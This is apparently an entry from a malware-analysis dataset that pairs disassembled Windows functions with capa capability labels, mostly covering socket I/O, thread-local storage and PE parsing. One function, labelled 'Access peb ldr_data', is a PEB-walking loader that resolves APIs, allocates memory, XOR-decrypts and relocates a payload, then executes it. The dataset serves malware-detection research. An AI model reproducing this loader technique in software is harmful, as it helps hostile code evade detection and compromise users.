joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140017230
Capabilities:
Set socket configuration

Disassembly:
push rbp
push rsi
push rdi
push r12
push r15
mov rbp, rsp
sub rsp, 0x80
xor r12d, r12d
mov r15, r9
mov rsi, rdx
mov rdi, rcx
cmp rcx, 0xffffffffffffffff
je 0x14001740c
mov qword [rsp + 0xb8], rbx
test r8b, r8b
je 0x14001729f
movzx eax, byte [rdx]
test al, 8
je 0x14001729f
or al, 8
mov dword [rbp + 0x30], r12d
mov byte [rdx], al
lea r9, [rbp + 0x30]
mov edx, 0xffff
mov dword [rsp + 0x20], 4
mov r8d, 0x80
call qword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
lea rcx, [rbp - 0x20]
setne dl
call fcn.14001b3b0
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
test eax, eax
mov rcx, r15
mov ebx, eax
setne dl
call fcn.14001b3b0
test ebx, ebx
je 0x140017408
mov qword [rsp + 0xc0], r13
movabs rcx, 0x4d54ee85da812030
mov qword [rsp + 0xc8], r14
lea r13, [0x140451e80]
mov r14, qword [0x140451e88]
add rcx, r14
mov dword [rbp - 0x4c], r12d
cmp rcx, 1
jbe 0x14001730f
mov rax, qword [0x140451e80]
mov edx, 0x2733
mov rcx, r13
call qword [rax + 0x30]
mov r14, qword [0x140451e88]
jmp 0x140017311
mov al, 1
movzx eax, al
lea rdx, [rbp - 0x38]
add rax, 2
mov dword [rbp - 0x50], 0x2733
mov qword [rbp - 0x40], rax
mov rcx, r15
movsd xmm1, qword [rbp - 0x40]
mov qword [rbp - 0x48], r13
movups xmm0, xmmword [rbp - 0x50]
movsd qword [rbp - 0x28], xmm1
movups xmmword [rbp - 0x38], xmm0
call fcn.140010770
test al, al
jne 0x1400173ae
movabs rax, 0x4d54ee85da812030
mov dword [rbp - 0x4c], r12d
add rax, r14
cmp rax, 1
jbe 0x140017374
mov rax, qword [0x140451e80]
mov edx, 0x4d5
mov rcx, r13
call qword [rax + 0x30]
jmp 0x140017376
mov al, 1
movzx eax, al
lea rdx, [rbp - 0x20]
add rax, 2
mov dword [rbp - 0x50], 0x4d5
mov qword [rbp - 0x40], rax
mov rcx, r15
movsd xmm1, qword [rbp - 0x40]
mov qword [rbp - 0x48], r13
movups xmm0, xmmword [rbp - 0x50]
movsd qword [rbp - 0x10], xmm1
movups xmmword [rbp - 0x20], xmm0
call fcn.140010770
test al, al
je 0x1400173df
lea r8, [rbp + 0x30]
mov dword [rbp + 0x30], r12d
mov edx, 0x8004667e
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_ioctlsocket]
and byte [rsi], 0xfc
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
test eax, eax
mov rcx, r15
mov ebx, eax
setne dl
call fcn.14001b3b0
mov r13, qword [rsp + 0xc0]
mov eax, ebx
mov r14, qword [rsp + 0xc8]
mov rbx, qword [rsp + 0xb8]
add rsp, 0x80
pop r15
pop r12
pop rdi
pop rsi
pop rbp
ret
mov eax, ebx
jmp 0x1400173f1
mov eax, r12d
add rsp, 0x80
pop r15
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x1400177a0
Capabilities:
Connect socket

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rdi, r9
cmp rcx, 0xffffffffffffffff
jne 0x14001782b
movabs rcx, 0x4d54ee85da812030
mov dword [rsp + 0x24], 0
add rcx, qword [0x140451e88]
lea rbx, [0x140451e80]
cmp rcx, 1
jbe 0x1400177ed
mov rax, qword [0x140451e80]
mov edx, 0x2719
mov rcx, rbx
call qword [rax + 0x30]
jmp 0x1400177ef
mov al, 1
movzx eax, al
add rax, 2
mov dword [rsp + 0x20], 0x2719
mov qword [rsp + 0x30], rax
mov eax, 0xffffffff
movsd xmm1, qword [rsp + 0x30]
mov qword [rsp + 0x28], rbx
movups xmm0, xmmword [rsp + 0x20]
movups xmmword [rdi], xmm0
movsd qword [rdi + 0x10], xmm1
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret
call qword [sym.imp.WS2_32.dll_connect]
test eax, eax
mov rcx, rdi
mov ebx, eax
setne dl
call fcn.14001b3b0
mov eax, ebx
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
ret

Function at 0x14001bf10
Capabilities:
Terminate thread

Disassembly:
push rbx
sub rsp, 0x30
mov rax, qword [rcx + 0x10]
lea rdx, [rsp + 0x20]
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov rax, qword [rcx + 8]
mov rbx, rcx
mov r9d, 0xffffffff
mov qword [rsp + 0x28], rax
lea ecx, [r8 + 2]
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov rcx, qword [rbx + 0x10]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
lock xadd dword [0x14045464c], eax
mov rcx, qword [rbx + 8]
test eax, eax
je 0x14001bf6d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateThread]
add rsp, 0x30
pop rbx
ret
mov rdx, rcx
xor r8d, r8d
lea rcx, [fcn.140007010]
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
mov rcx, qword [rbx + 8]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
add rsp, 0x30
pop rbx
ret
Function at 0x14001e310
Capabilities:
Get thread local storage value

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
mov rcx, qword [rcx + 0x10]
test rcx, rcx
je 0x14001e33f
mov rcx, qword [rcx + 0x38]
test rcx, rcx
je 0x14001e337
mov rax, qword [rcx]
xor edx, edx
call rax
nop
mov qword [rdi + 0x10], 0
mov rbx, qword [rdi + 8]
test rbx, rbx
je 0x14001e388
mov ecx, dword [0x140454660]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
test rax, rax
je 0x14001e378
mov rdx, qword [rax + 8]
test rdx, rdx
je 0x14001e378
xor ecx, ecx
xor eax, eax
cmp qword [rdx + rax*8], 0
je 0x14001e393
inc ecx
inc rax
cmp rax, 2
jl 0x14001e366
mov rcx, rbx
call fcn.140026d3c
mov qword [rdi + 8], 0
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
movzx eax, byte [rbx + 0x48]
mov byte [rbx], al
movsxd rax, ecx
mov qword [rdx + rax*8], rbx
mov qword [rdi + 8], 0
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x14001e640
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0xb0
mov rsi, rdx
mov rbx, rcx
xor edi, edi
mov eax, edi
lock xadd dword [rcx + 0x30], eax
test eax, eax
jne 0x14001e687
call fcn.1400248a0
xorps xmm0, xmm0
mov qword [rsp + 0x30], rdi
movups xmmword [rsi], xmm0
movsd xmm0, qword [rsp + 0x30]
movsd qword [rsi + 0x10], xmm0
xor eax, eax
jmp 0x14001e77d
mov dword [rsp + 0x90], edi
lea rcx, [rsp + 0x98]
call sub.MSVCP140.dll_void___cdecl___ExceptionPtrCreate_void____ptr64_
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
movups xmmword [rsp + 0x50], xmm0
movups xmmword [rsp + 0x60], xmm0
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rsp + 0x80], xmm0
lea rax, [rbx + 0x28]
test rbx, rbx
cmove rax, rdi
mov qword [rsp + 0x20], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
mov ecx, dword [0x140454660]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov qword [rsp + 0x30], rax
lea rdx, [rsp + 0x20]
mov ecx, dword [0x140454660]
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
nop
mov r9, rsi
lea r8, [rsp + 0x40]
mov edx, 0xffffffff
mov rcx, rbx
call fcn.140018140
test rax, rax
je 0x14001e73a
lea rax, [rdi + 1]
cmp rdi, 0xffffffffffffffff
cmove rax, rdi
mov rdi, rax
mov r9, rsi
lea r8, [rsp + 0x40]
mov edx, 0xffffffff
mov rcx, rbx
call fcn.140018140
test rax, rax
jne 0x14001e711
mov rdx, qword [rsp + 0x30]
mov ecx, dword [0x140454660]
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
nop
lea rbx, [rsp + 0x40]
mov esi, 0xa
mov rcx, qword [rbx]
test rcx, rcx
je 0x14001e763
call fcn.140026d3c
add rbx, 8
sub rsi, 1
jne 0x14001e756
lea rcx, [rsp + 0x98]
call sub.MSVCP140.dll_void___cdecl___ExceptionPtrDestroy_void____ptr64_
mov rax, rdi
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x140023a70
Capabilities:
Send data
Send data on socket

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
push rdi
push r14
push r15
sub rsp, 0x60
mov rbx, qword [rsp + 0xa0]
xor r14d, r14d
mov qword [rax - 0x48], r14
mov qword [rax - 0x50], r14
mov dword [rax - 0x58], r9d
lea r9, [rax + 0x20]
mov dword [rax + 0x20], r14d
call qword [sym.imp.WS2_32.dll_WSASend]
mov esi, eax
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov rdx, qword [0x140451e88]
lea rbp, [0x140451e80]
movabs r15, 0x4d54ee85da812030
mov dword [rsp + 0x44], r14d
add rdx, r15
mov edi, eax
cmp rdx, 1
jbe 0x140023af2
mov rcx, qword [0x140451e80]
mov edx, eax
mov r8, qword [rcx + 0x30]
mov rcx, rbp
call r8
jmp 0x140023af7
test edi, edi
setne al
movzx eax, al
movabs r10, 0x4800144005b3
add rax, 2
mov dword [rsp + 0x40], edi
mov qword [rsp + 0x48], rbp
movups xmm0, xmmword [rsp + 0x40]
mov qword [rsp + 0x50], rax
movsd xmm1, qword [rsp + 0x50]
movups xmmword [rbx], xmm0
movsd qword [rbx + 0x10], xmm1
mov r9, qword [rbx + 0x10]
cmp r9, 1
je 0x140023b3a
mov eax, dword [rbx]
mov r8d, eax
jmp 0x140023b6a
mov rcx, qword [rbx + 8]
mov rax, r10
mov r8d, dword [rbx]
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 0x14
imul rax, rax, 0x1ffff7
sub rcx, rax
imul eax, ecx, 0x3e8
add eax, r8d
cmp eax, 0x40
jne 0x140023bac
mov rcx, qword [0x140451e88]
add rcx, r15
mov dword [rsp + 0x44], r14d
cmp rcx, 1
jbe 0x140023ba0
mov rax, qword [0x140451e80]
mov edx, 0x2746
mov rcx, rbp
call qword [rax + 0x30]
mov dword [rsp + 0x40], 0x2746
jmp 0x140023c1b
mov al, 1
mov dword [rsp + 0x40], 0x2746
jmp 0x140023c1b
cmp r9, 1
jne 0x140023bdf
mov rcx, qword [rbx + 8]
mov rax, r10
mul rcx
mov rax, rcx
sub rax, rdx
shr rax, 1
add rax, rdx
shr rax, 0x14
imul rax, rax, 0x1ffff7
sub rcx, rax
imul eax, ecx, 0x3e8
add r8d, eax
cmp r8d, 0x4d2
jne 0x140023c3f
mov rcx, qword [0x140451e88]
add rcx, r15
mov dword [rsp + 0x44], r14d
cmp rcx, 1
jbe 0x140023c11
mov rax, qword [0x140451e80]
mov edx, 0x274d
mov rcx, rbp
call qword [rax + 0x30]
jmp 0x140023c13
mov al, 1
mov dword [rsp + 0x40], 0x274d
movzx eax, al
mov qword [rsp + 0x48], rbp
add rax, 2
movups xmm0, xmmword [rsp + 0x40]
mov qword [rsp + 0x50], rax
movsd xmm1, qword [rsp + 0x50]
movups xmmword [rbx], xmm0
movsd qword [rbx + 0x10], xmm1
test esi, esi
je 0x140023c4a
mov eax, 0xffffffff
jmp 0x140023c67
mov eax, dword [rsp + 0x98]
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rsp + 0x50], r14
movsd xmm0, qword [rsp + 0x50]
movsd qword [rbx + 0x10], xmm0
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rdi
ret
Function at 0x140024040
Capabilities:
Set socket configuration

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x40
mov rbx, r9
mov dword [rsp + 0x28], 1
xor r9d, r9d
mov dword [rsp + 0x20], 0
mov esi, ecx
call qword [sym.imp.WS2_32.dll_WSASocketW]
cmp rax, 0xffffffffffffffff
mov rcx, rbx
mov rdi, rax
sete dl
call fcn.14001b3b0
cmp rdi, 0xffffffffffffffff
jne 0x140024098
mov rax, rdi
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
cmp esi, 0x17
jne 0x1400240c2
lea r9, [rsp + 0x30]
mov dword [rsp + 0x30], 0
lea edx, [rsi + 0x12]
mov dword [rsp + 0x20], 4
lea r8d, [rsi + 4]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_setsockopt]
mov rbx, qword [rsp + 0x50]
mov rax, rdi
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
Function at 0x140026620
Capabilities:
Allocate thread local storage

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x50
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov edi, eax
cmp eax, 0xffffffff
jne 0x1400266db
mov qword [rsp + 0x60], rsi
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, qword [0x140451e88]
lea rsi, [0x140451e80]
mov ebx, eax
mov dword [rsp + 0x3c], 0
movabs rax, 0x4d54ee85da812030
add rdx, rax
cmp rdx, 1
jbe 0x140026686
mov rcx, qword [0x140451e80]
mov edx, ebx
mov r8, qword [rcx + 0x30]
mov rcx, rsi
call r8
jmp 0x14002668b
test ebx, ebx
setne al
lea rcx, str.C:Users_sinexDesktopCodinglib_vcpkginstalledx64_windowsinclude_boost_asiodetailimplwin_tss_ptr.ipp
movzx eax, al
add rax, 2
mov qword [rsp + 0x20], rcx
mov qword [rsp + 0x40], rsi
lea rcx, str.win_tss_ptr_create
mov rsi, qword [rsp + 0x60]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x38], ebx
mov dword [rsp + 0x30], 0x2e
mov dword [rsp + 0x34], 0x1a
test al, 1
je 0x1400266db
cmp rax, 1
jne 0x1400266e8
test ebx, ebx
jne 0x1400266e8
mov rbx, qword [rsp + 0x68]
mov eax, edi
add rsp, 0x50
pop rdi
ret
lea r8, [rsp + 0x20]
lea rdx, [0x14002bac0]
lea rcx, [rsp + 0x38]
call fcn.1400189b0
int3

Function at 0x1400278ac
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400278f6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400278f6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400278f6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400278f6
cmp dword [rcx + 0x84], 0xe
jbe 0x1400278f6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400278f8
xor al, al
add rsp, 0x28
ret
Function at 0x140008c30
Capabilities:
Access peb ldr_data

Disassembly:
push rcx
push r11
push r13
sub rcx, rcx
add rcx, 0x60
mov r11, qword gs:[rcx]
push r10
mov rcx, r11
add rcx, 0x10
mov r10, qword [rcx]
add r11, 0x18
mov r13, qword [r11]
mov rcx, r13
add rcx, 0x10
mov r11, qword [rcx]
push r12
mov r13, r11
add r13, 0x30
mov rcx, qword [r13]
cmp rcx, 0
je 0x140008ca3
mov r13, qword [r11 + 0x60]
mov r12, qword [r13]
and r12d, 0xdf00df
mov r13, qword [r13 + 0xc]
shl r13d, 8
add r13d, r12d
shl r13d, 2
sub r13d, 0xc914cd2c
cmp r13, 0
je 0x140008cab
mov r13, qword [r11]
mov r11, r13
jmp 0x140008c5f
mov r11d, dword [rcx + 0x3c]
add r11, rcx
add r11, 0x10
mov r13d, dword [r11 + 0x78]
add r13, rcx
push rbx
mov r12d, dword [r13 + 0x20]
add r12, rcx
mov ebx, dword [r12]
add rbx, rcx
mov r11d, dword [rbx + 0xb]
sub r11d, 0x746365
test r11d, r11d
jne 0x140008ce1
jmp 0x140008cef
inc r12
inc r12
inc r12
inc r12
jmp 0x140008cc5
mov r11d, dword [r13 + 0x20]
sub r12, r11
sub r12, rcx
shr r12d, 1
mov r11d, dword [r13 + 0x24]
add r11, r12
add r11, rcx
mov r12d, dword [r11]
mov r11d, dword [r13 + 0x1c]
and r12d, 0xffff
shl r12d, 2
add r11, rcx
add r11, r12
mov r12d, dword [r11]
mov r11d, 0x78000
add r12, rcx
push rcx
add r11, r10
push r10
push r11
push rbx
push rbx
push r12
mov rcx, r11
mov r9, rsp
sub r8, r8
add r8, 0x40
mov edx, 0xb6000
call r12
pop r13
pop rbx
pop rbx
pop r11
pop r10
mov ecx, 0x1afe
movabs r13, 0x3a4c0
push r12
mov r12d, 0xc
imul ecx, r12d
movabs r12, 0x1461
add rcx, r12
add rcx, r10
call 0x140008dac
mov r11d, 0xb8000
movabs rcx, 0x50e49
add rcx, r10
add r11, r10
mov r13d, 0x3aa0
call 0x140008dac
pop r12
cmp rcx, r11
jne 0x140008de4
mov r12d, dword [rcx]
xor r12d, 0x9d8d02f8
dec r12
mov dword [r11], r12d
dec r13
dec r13
dec r13
inc rcx
inc rcx
inc rcx
inc rcx
add r11, 4
dec r13
test r13d, r13d
je 0x140008de2
jmp 0x140008dac
nop
ret
mov ecx, 0x8000000
movabs r11, 0x78000
mov r13d, 0x477
mov r12d, 3
imul r13d, r12d
add r11, r10
add r13d, 0x29b
sub r11, r13
mov r13, r11
sub r13, rcx
movabs rcx, 0x55a49
add rcx, r10
mov r12d, dword [rcx]
xor r12d, 0x9d8d02f8
dec r12
test r12d, r12d
je 0x140008e49
add r12, r11
mov rbx, qword [r12]
add rbx, r13
mov qword [r12], rbx
add rcx, 4
jmp 0x140008e23
mov r11d, 0x4ed9
movabs rcx, 0xdcd
sub rsp, 0x28
add rcx, 0x82824
add rcx, r10
add rcx, r11
push rcx
mov rcx, r11
dec r11
jmp 0x140008de2

Function at 0x1400092f0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x18
xor edx, edx
lea rax, [rcx - 1]
cmp rax, 0xfffffffffffffffd
ja 0x14000933c
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140009334
cmp dword [rcx + 0x3c], edx
jl 0x140009334
cmp dword [rcx + 0x3c], 0x10000000
jae 0x140009334
movsxd rax, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp], rax
cmp dword [rax], 0x4550
cmovne rax, rdx
mov rdx, rax
mov qword [rsp], rax
jmp 0x14000933c
mov rax, rdx
add rsp, 0x18
ret
Function at 0x1400019a0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbp
push rsi
push rdi
push r14
sub rsp, 0x78
mov rax, qword [0x14004d008]
xor rax, rsp
mov qword [rsp + 0x68], rax
mov rax, qword [rcx + 0x20]
xor r14d, r14d
mov rdi, rcx
mov qword [rsp + 0x70], rbx
mov rcx, qword [rcx + 0x68]
mov ebp, r8d
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rcx
mov dword [rsp + 0x50], r14d
mov dword [rsp + 0x54], r14d
cmp byte [rdi + 0x48], r14b
je 0x1400019f9
mov dword [rdi + 0x58], 0x3e5
or esi, 0xffffffff
mov qword [rdi + 8], r14
jmp 0x140001a5f
xor eax, eax
mov qword [rsp + 0x48], rdx
mov qword [rdi + 0x28], rax
lea rbx, [rdi + 0x28]
mov qword [rbx + 8], rax
mov qword [rbx + 0x10], rax
mov qword [rbx + 0x18], rax
mov qword [rdi + 0x40], rcx
mov dword [rsp + 0x40], ebp
call qword [sym.imp.WS2_32.dll_WSAResetEvent]
mov rcx, qword [rdi + 0x50]
lea rax, [rsp + 0x54]
mov qword [rsp + 0x30], r14
lea r9, [rsp + 0x50]
mov qword [rsp + 0x28], rbx
lea rdx, [rsp + 0x40]
mov r8d, 1
mov qword [rsp + 0x20], rax
mov byte [rdi + 0x48], 1
call qword [sym.imp.WS2_32.dll_WSARecv]
mov esi, eax
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [rdi + 0x58], eax
cmp qword [rdi + 8], r14
jne 0x140001a77
movsxd rbx, dword [rdi + 0x60]
xor ecx, ecx
call fcn.140016564
add rax, rbx
mov qword [rdi + 8], rax
mov rbx, qword [rsp + 0x70]
cmp esi, 0xffffffff
jne 0x140001abd
cmp dword [rdi + 0x58], 0x3e5
jne 0x140001b15
xor ecx, ecx
call fcn.140016564
mov ecx, dword [rdi + 8]
sub ecx, eax
imul r9d, ecx, 0x3e8
cmp r9d, 5
jbe 0x140001b15
xor r8d, r8d
lea rdx, [rsp + 0x58]
lea ecx, [rsi + 3]
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
cmp eax, 1
jmp 0x140001abf
test esi, esi
jne 0x140001b15
mov rcx, qword [rdi + 0x50]
lea rax, [rsp + 0x54]
lea rdx, [rdi + 0x28]
mov qword [rsp + 0x20], rax
mov r9d, 1
mov byte [rdi + 0x48], r14b
lea r8, [rsp + 0x50]
call qword [sym.imp.WS2_32.dll_WSAGetOverlappedResult]
test eax, eax
je 0x140001b02
mov eax, dword [rsp + 0x50]
test eax, eax
je 0x140001b02
mov dword [rdi + 0x58], r14d
cmp eax, ebp
jne 0x140001b18
mov qword [rdi + 8], r14
jmp 0x140001b18
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
test eax, eax
je 0x140001b18
cmp dword [rdi + 0x58], r14d
jne 0x140001b15
mov dword [rdi + 0x58], eax
or eax, 0xffffffff
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.14000da40
add rsp, 0x78
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x140001b80
Capabilities:
Send data
Send data on socket

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
sub rsp, 0x90
mov rax, qword [0x14004d008]
xor rax, rsp
mov qword [rsp + 0x88], rax
xor ebp, ebp
mov qword [rsp + 0x68], rdx
mov esi, r8d
mov rdi, rcx
mov dword [rsp + 0x70], ebp
mov dword [rsp + 0x60], r8d
cmp qword [rcx + 0x10], rbp
jne 0x140001bcf
movsxd rbx, dword [rcx + 0x5c]
xor ecx, ecx
call fcn.140016564
add rax, rbx
mov qword [rdi + 0x10], rax
mov rcx, qword [rdi + 0x20]
xor eax, eax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], rax
mov rax, qword [rdi + 0x18]
mov qword [rsp + 0x58], rax
mov dword [rdi + 0x58], ebp
call qword [sym.imp.WS2_32.dll_WSAResetEvent]
mov rcx, qword [rdi + 0x50]
lea rax, [rsp + 0x40]
mov qword [rsp + 0x30], rbp
lea r9, [rsp + 0x70]
mov qword [rsp + 0x28], rax
lea rdx, [rsp + 0x60]
mov r8d, 1
mov dword [rsp + 0x20], ebp
call qword [sym.imp.WS2_32.dll_WSASend]
mov ebx, eax
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov dword [rdi + 0x58], eax
cmp ebx, 0xffffffff
jne 0x140001c7a
cmp eax, 0x3e5
jne 0x140001cb8
mov rax, qword [rdi + 0x18]
xor ecx, ecx
mov qword [rsp + 0x78], rax
mov rax, qword [rdi + 0x68]
mov qword [rsp + 0x80], rax
call fcn.140016564
mov rcx, qword [rdi + 0x10]
lea rdx, [rsp + 0x78]
sub rcx, rax
xor r8d, r8d
imul r9d, ecx, 0x3e8
lea ecx, [rbx + 3]
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
cmp eax, 1
jmp 0x140001c7c
test ebx, ebx
jne 0x140001cb8
mov rcx, qword [rdi + 0x50]
lea rax, [rsp + 0x74]
mov r9d, 1
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x70]
mov dword [rsp + 0x74], ebp
lea rdx, [rsp + 0x40]
call qword [sym.imp.WS2_32.dll_WSAGetOverlappedResult]
test eax, eax
je 0x140001cb8
mov eax, dword [rsp + 0x70]
cmp eax, esi
jne 0x140001cbb
mov qword [rdi + 0x10], rbp
jmp 0x140001cbb
or eax, 0xffffffff
mov rcx, qword [rsp + 0x88]
xor rcx, rsp
call fcn.14000da40
mov rbx, qword [rsp + 0xc8]
add rsp, 0x90
pop rdi
pop rsi
pop rbp
ret
Function at 0x140005010
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
push rbp
mov rbp, rsp
sub rsp, 0x70
mov qword [rbp - 0x40], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov rax, qword [0x14004d008]
xor rax, rsp
mov qword [rbp - 0x10], rax
mov rdi, rcx
cmp qword [rcx + 0x68], 0
je 0x1400051ba
cmp byte [rcx + 0x71], 0
je 0x1400051ba
mov rax, qword [rcx]
or edx, 0xffffffff
call qword [rax + 0x18]
cmp eax, 0xffffffff
jne 0x14000506a
xor al, al
jmp 0x1400051bc
mov qword [rbp - 0x18], setsockopt
mov qword [rbp - 0x20], 0
mov byte [rbp - 0x30], 0
xor r8d, r8d
lea edx, [r8 + 8]
lea rcx, [rbp - 0x30]
call fcn.140004780
nop
mov rcx, qword [rbp - 0x30]
mov r9, qword [rbp - 0x18]
nop word [rax + rax]
lea rdx, [rbp - 0x30]
cmp r9, 0x10
cmovae rdx, rcx
lea r8, [rbp - 0x30]
cmovae r8, rcx
mov rcx, qword [rdi + 0x68]
mov r10, qword [rcx]
mov r9, qword [rbp - 0x20]
add r9, rdx
lea rax, [rbp - 0x38]
mov qword [rsp + 0x20], rax
lea rdx, [rdi + 0x74]
call qword [r10 + 0x40]
test eax, eax
je 0x1400050de
sub eax, 1
jne 0x140005152
jmp 0x1400050e2
mov byte [rdi + 0x71], 0
lea rax, [rbp - 0x30]
mov rcx, qword [rbp - 0x30]
mov r9, qword [rbp - 0x18]
cmp r9, 0x10
cmovae rax, rcx
mov rbx, qword [rbp - 0x38]
sub rbx, rax
je 0x14000512f
lea rax, [rbp - 0x30]
cmp r9, 0x10
cmovae rax, rcx
mov r9, qword [rdi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, rax
call fcn.140016ff8
mov r9, qword [rbp - 0x18]
mov rcx, qword [rbp - 0x30]
cmp rbx, rax
jne 0x14000515f
cmp byte [rdi + 0x71], 0
je 0x140005163
test rbx, rbx
jne 0x1400050a0
xor r8d, r8d
lea edx, [rbx + 8]
lea rcx, [rbp - 0x30]
call fcn.140004ad0
jmp 0x14000508f
sub eax, 2
mov r9, qword [rbp - 0x18]
mov rcx, qword [rbp - 0x30]
je 0x140005163
xor bl, bl
jmp 0x140005165
mov bl, 1
cmp r9, 0x10
jb 0x1400051b5
lea rax, [r9 + 1]
cmp rax, 0x1000
jb 0x1400051b0
test byte [rbp - 0x30], 0x1f
je 0x140005183
call fcn.140016d40
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x140005192
call fcn.140016d40
int3
sub rcx, rax
cmp rcx, 8
jae 0x1400051a1
call fcn.140016d40
int3
cmp rcx, 0x27
jbe 0x1400051ad
call fcn.140016d40
int3
mov rcx, rax
call fcn.14000da20
movzx eax, bl
jmp 0x1400051bc
mov al, 1
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.14000da40
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x140006500
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov edi, r8d
mov rsi, rdx
mov rbp, rcx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
jne 0x140006533
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
mov rcx, rax
mov qword [rsp + 0x30], rbx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbx, rax
test rax, rax
je 0x14000657a
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, eax
add rcx, rbx
and edi, 0xf
jbe 0x140006575
nop
cmp rbx, rcx
jae 0x14000657a
movzx eax, word [rbx]
lea rbx, [rbx + rax*2]
add rbx, 2
add edi, 0xffffffff
jne 0x140006560
cmp rbx, rcx
jb 0x14000657e
xor eax, eax
jmp 0x14000658a
xor eax, eax
cmp word [rbx], ax
cmove rbx, rax
mov rax, rbx
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret